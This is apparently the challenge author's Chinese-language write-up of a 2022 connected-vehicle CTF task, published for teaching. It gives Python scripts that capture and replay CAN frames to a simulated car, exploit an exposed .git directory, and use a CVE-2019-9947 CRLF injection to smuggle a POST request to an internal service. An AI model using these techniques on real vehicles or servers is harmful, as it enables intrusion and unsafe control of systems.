本文由 伽玛实验室-mldwyy小姐姐提供,赛后将该题设计思路及解法公开供大家学习交流。
大赛背景介绍
2022年数字中国创新大赛网络安全赛道-车联网安全竞赛线上赛已经圆满结束。本届赛事由数字中国建设峰会指导,福建省通信管理局主办,中国信息通信研究院承办,永信至诚-伽玛实验室为大赛提供技术支持。
赛题内容紧密结合车联网实际应用场景和车联网安全技术应用发展状况,重点考察参赛选手或团队在车联网网络、设备、平台、应用、数据等方面的安全漏挖、测试、评估、运维、保障以及完成指定任务的理论和技术水平。
楔子
车联网的学习资料都相对较少,本次出题也是做了一个线上车辆模拟器。选手需要对车辆的CAN总线协议有一定了解,通过捕获流量包并分析内部数据,从而对汽车实现控制。时间关系,赛题实际上还可以再加上车辆重放攻击的利用过程,未来师傅们可以期待一下下。初尝试出这类车辆模拟的题目,可能会有疏忽的地方,有问题和建议师傅们可以在 "春秋GAME" 的群里提哈。
约法X章
CAN 流量分析
websocket 流量获取
git信息泄露
python CRLF 注入 CVE-2019-9947
Apache HTTPD 请求头解析futrue
致知力行
CAN总线优点:
1.硬件方案的软件化实现,简化了设计,降低了成本,且在数据更新增加新信息时,只需软件升级即可,扩充性强;
2.控制单元对所传输的信息进行实时检测,具有错误诊断能力和自动恢复能力,节省生产维护成本;
3.CAN总线符合国际标准,因此可应用不同型号控制单元间的数据传输;
4.数据共享减少了数据的重复处理,节省成本。如对于具有CAN总线接口的电喷发动机,其它电器可共享其提供的转速、水温、机油压力温度等,可省去额外的水温、油压、油温传感器。
打开题目,发现页面中提供了两个功能功能探索
和开车逃跑
,从控制台这里看到有websocket流量,路由为: "/test/log"。
到这里如果之前没有见到过can流量可能不是非常敏感,记得这个路由,回来再看,转到开车逃跑页面,提示我们按回车加速,发现也有websocket流量发出,结构与刚刚接到的十分类似。
逃跑页面提示我们"任务0"为打开左车门。
整理一下已知线索:
1.探索页面提供http方式触发操作,并且返回流量
2.逃跑页面提供个websocket方式触发操作
所以我们需要从探索页面找到http触发的那一个流量,在逃跑页面提交。
该关卡中所模拟的车辆可理解为ICSim的web版(其中的流量也是魔改ICSim产生的)。现在我们要做的事情如下:
触发动作 -- > 获取流量 –-> 提交流量
触发动作则是通过http请求,很容易就可以构造,关键在于需要对发出动作后的websocket流量进行分析,这就需要我们捕获websocket流量,在这里我选择python的websocket包直接与服务端建立连接。
如下:
ws = websocket.WebSocketApp("ws://ip:port/test/log",
on_message=on_message,
)
ws.run_forever()
"on_message" 作为接收到消息的回调接口,每次接收到流量都会调用此函数,我们可以在此函数中触发车辆动作,这样能确保后面获取到的流量都是此次触发动作相关的流量,我们以开右车门为例再次整理已知的线索:
在我们调用开右车门接口后,在CAN流量中可看到发出开右车门的请求流量,所以我们需多次调用开右车的接口,在后续流量中一直重复出现的那个,即为开右车门的请求流量。
完整代码如下:
import websocket
import eventlet
import requests
payload_list = []
eventlet.monkey_patch()
run_counts = 0
max_counts = 20
do_it = False
max_round = 5
url="192.168.244.133:7410"
def on_message(ws, message):
global max_counts
global do_it
global max_round
global url
if not do_it and max_counts > 0:
max_counts = max_counts - 1
if max_counts == 0:
if not do_it:
with requests.get(f"http://{url}/test/control?op=open_left") as f:
print(f.text)
do_it = not do_it
max_counts = 20
max_round = max_round - 1
if do_it and max_counts > 0:
with open(f"test/after_{max_round}.log", "a+") as f:
f.write(message)
max_counts = max_counts - 1
with open(f"test/after_{run_counts}.log","a+") as f:
f.write(message)
ws = websocket.WebSocketApp(f"ws://{url}/test/log",
on_message=on_message,
)
ws.run_forever()
通过这种方式,获取到开关左右车门,左转右转的流量,在逃跑页面发送,我这里也是调用python的socket包发送。
注意:开关车门顺序必须按照解题的顺序。
最终根据收集到的流量,整理出完整的poc:
import websocket
import time
payload_list = []
def on_message(ws, message):
print(message)
time.sleep(1)
if len(payload_list) > 0:
c = payload_list.pop()
ws.send(c)
def on_error(ws, error):
print(ws)
print(error)
def on_close(ws):
print(ws)
print("### closed ###")
def payload():
c = '17E#00000E000000'
print(c)
payload_list.append(c)
c = '17E#00000D000000'
print(c)
payload_list.append(c)
c = '17E#00000D000000'
print(c)
payload_list.append(c)
c = '17E#00000F000000'
print(c)
payload_list.append(c)
c = "244#000000502D"
print(c)
payload_list.append(c)
c = '19A#01000000'
print(c)
payload_list.append(c)
c = "244#00000050"
print(c)
payload_list.append(c)
c = '19A#02000000'
print(c)
payload_list.append(c)
payload_list.append("244#00000050")
payload_list.append("get")
payload_list.reverse()
url = "192.168.244.133:7410"
ws = websocket.WebSocketApp(f"ws://{url}/hack/control",
on_message=on_message,
on_error=on_error,
on_close=on_close)
if __name__ == '__main__':
payload()
ws.run_forever()
信息收集
这个页面提示:
看参数,是open.php
, 从header可以发现是python程序,但是参数是一个php,可以推想到是访问了内部的其他服务
又有提示code history
, 涉及版本控制, 尝试/fetch/api?action=.git
发现存在.git
目录,尝试git-attack
。
下载后通过 Git 退回到初始版本,可以看到 index.php 源码
CRLF
通过输入不是GET的socket的数据包发现报错,可以知道是python的服务,而python中使用urllib.request.urlopen
的http请求中,在历史版本可以找到是存在CRLF的
"index.php" 需发送"POST" 请求,但我们的接口只能构造GET请求,怎么才能发送POST请求呢?
联想 "CVE-2019-9947" 及 "apache" 特性,构造payload:
import urllib.error
import urllib.request
from urllib.parse import quote
import requests
txt = """/oen HTTP/1.1
Host: 127.0.0.1
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 39
{"get_flag_is_a_beautiful_thing":"yes"}
"""
url = "192.168.244.133:7410"#sys.argv[1]
if __name__ == '__main__':
try:
text = quote(txt, 'utf-8')
text = text.replace("%0A", "%0D%0A")
print("http://{url}/fetch/api?action="+text)
with requests.get(f"http://{url}/fetch/api?action="+text) as rep:
print(rep.text)
with requests.get(f"http://{url}/fetch/api?action=flag") as rep:
print(rep.text)
except urllib.error.URLError as e:
print(e)
后请求fetch/api?action=flag
即可: